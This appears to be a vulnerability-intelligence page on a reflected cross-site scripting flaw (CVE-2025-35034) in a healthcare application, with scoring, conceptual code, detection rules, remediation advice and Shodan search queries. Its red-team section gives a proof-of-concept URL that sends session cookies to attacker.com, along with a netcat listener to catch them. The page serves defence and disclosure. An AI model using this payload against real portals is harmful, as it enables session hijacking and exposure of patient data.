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[ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-35034

CVE-2025-35034 Cross-Site Scripting in Medical informatics engineering
📅 PUBLISHED: 2025-09-29 20:01 UTC 🔄 UPDATED: 2026-10-09 23:02 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-35034 is a reflected Cross-Site Scripting (XSS) vulnerability in Medical Informatics Engineering's Enterprise Health application. The flaw exists in the portlet_user_id URL parameter, allowing a remote, unauthenticated attacker to craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vendor has applied a fix as of March 14, 2025, but no public patch details or version numbers have been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for healthcare environments.

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Supply Chain & Package Security

This vulnerability is not related to an open-source package (NPM, PyPI, Go, Ruby). It affects a proprietary healthcare application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R) – victim must click the crafted URL
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L) – potential for session token theft
  • Integrity Impact: Low (I:L) – potential for content injection
  • Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the context of healthcare data makes this a higher priority for patching.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the portlet_user_id parameter. The application fails to sanitize or encode user input before reflecting it in the HTTP response. An attacker can inject JavaScript payloads via the URL, which are executed in the context of the victim's session.

Attack Flow:

  1. Attacker crafts a malicious URL: https://target-enterprise-health.com/some-page?portlet_user_id=<script>alert('XSS')</script>
  2. Attacker delivers the URL via phishing email, social media, or other means.
  3. Victim, authenticated to the Enterprise Health application, clicks the link.
  4. The application reflects the payload in the response without sanitization.
  5. The victim's browser executes the JavaScript, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: Lack of output encoding for the portlet_user_id parameter in the server-side response.

Vulnerable vs. Patched Code

No specific code snippets are available due to the proprietary nature of the software. However, the fix likely involves:

Vulnerable (Conceptual):

String userId = request.getParameter("portlet_user_id");
response.getWriter().write("<div>User ID: " + userId + "</div>");

Patched (Conceptual):

String userId = request.getParameter("portlet_user_id");
String encodedUserId = Encode.forHtml(userId);
response.getWriter().write("<div>User ID: " + encodedUserId + "</div>");

The patched version uses context-aware output encoding (e.g., OWASP Java Encoder) to neutralize the XSS vector.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A test instance of Enterprise Health (vulnerable version)
  • A web browser with developer tools
  • A simple HTTP server to capture cookies (e.g., nc -lvnp 8080)

Proof-of-Concept (PoC) URL:

https://target-enterprise-health.com/portal?portlet_user_id=<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>

Steps:

  1. Set up a listener on attacker machine: nc -lvnp 8080
  2. Craft the URL with a payload that exfiltrates cookies.
  3. Send the URL to a victim (simulated in lab).
  4. Victim clicks the link; the JavaScript executes and sends the cookie to the attacker's listener.

Note: No public exploit code is available. The above is a generic XSS PoC.

Blue Team

Detection:

  • Monitor web server logs for requests containing <script> tags or suspicious characters in the portlet_user_id parameter.
  • Use WAF rules to block reflected XSS patterns.
  • Deploy browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).

Hunting:

  • Search for URLs with portlet_user_id containing %3Cscript%3E (URL-encoded <script>).
  • Correlate with unusual outbound connections from client browsers.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • URLs containing portlet_user_id=<script> or similar payloads.
    • Outbound HTTP requests to attacker-controlled domains from client browsers.
  • Host IOCs:
    • Browser history entries with XSS payloads in the portlet_user_id parameter.
    • Unexpected cookies or session tokens in browser storage.
  • Log IOCs:
    • Web server logs with portlet_user_id values containing HTML/JavaScript.
    • 400/500 errors from malformed XSS attempts.

Detection Engineering

YARA Rule

rule CVE_2025_35034_XSS_Detection {
    meta:
        description = "Detects reflected XSS attempts targeting CVE-2025-35034"
        author = "Valters IT"
        date = "2025-03-15"
        reference = "CVE-2025-35034"
    strings:
        $xss_payload = /portlet_user_id=.*<script[^>]*>.*<\/script>/i
        $xss_encoded = /portlet_user_id=.*%3Cscript%3E.*%3C\/script%3E/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt on Enterprise Health portlet_user_id
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts in the portlet_user_id parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-uri-query|contains:
            - 'portlet_user_id=<script'
            - 'portlet_user_id=%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-35034 Reflected XSS in portlet_user_id"; flow:to_server,established; content:"portlet_user_id"; http_uri; pcre:"/portlet_user_id=.*<script[^>]*>.*<\/script>/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply the vendor patch (applied as of 2025-03-14). Contact Medical Informatics Engineering for specific version details.
  2. If patching is not possible, implement a Web Application Firewall (WAF) rule to block requests containing <script> in the portlet_user_id parameter.
  3. Restrict access to the Enterprise Health application to trusted networks only.

Long-Term Fixes:

  • Ensure all user input is properly validated and output-encoded.
  • Conduct a security audit of all URL parameters for similar vulnerabilities.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Workarounds:

  • Disable JavaScript in the browser for the Enterprise Health domain (not recommended for functionality).
  • Use browser extensions that block XSS (e.g., NoScript).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Enterprise Health"
http.html:"Enterprise Health"
http.html:"Medical Informatics Engineering"

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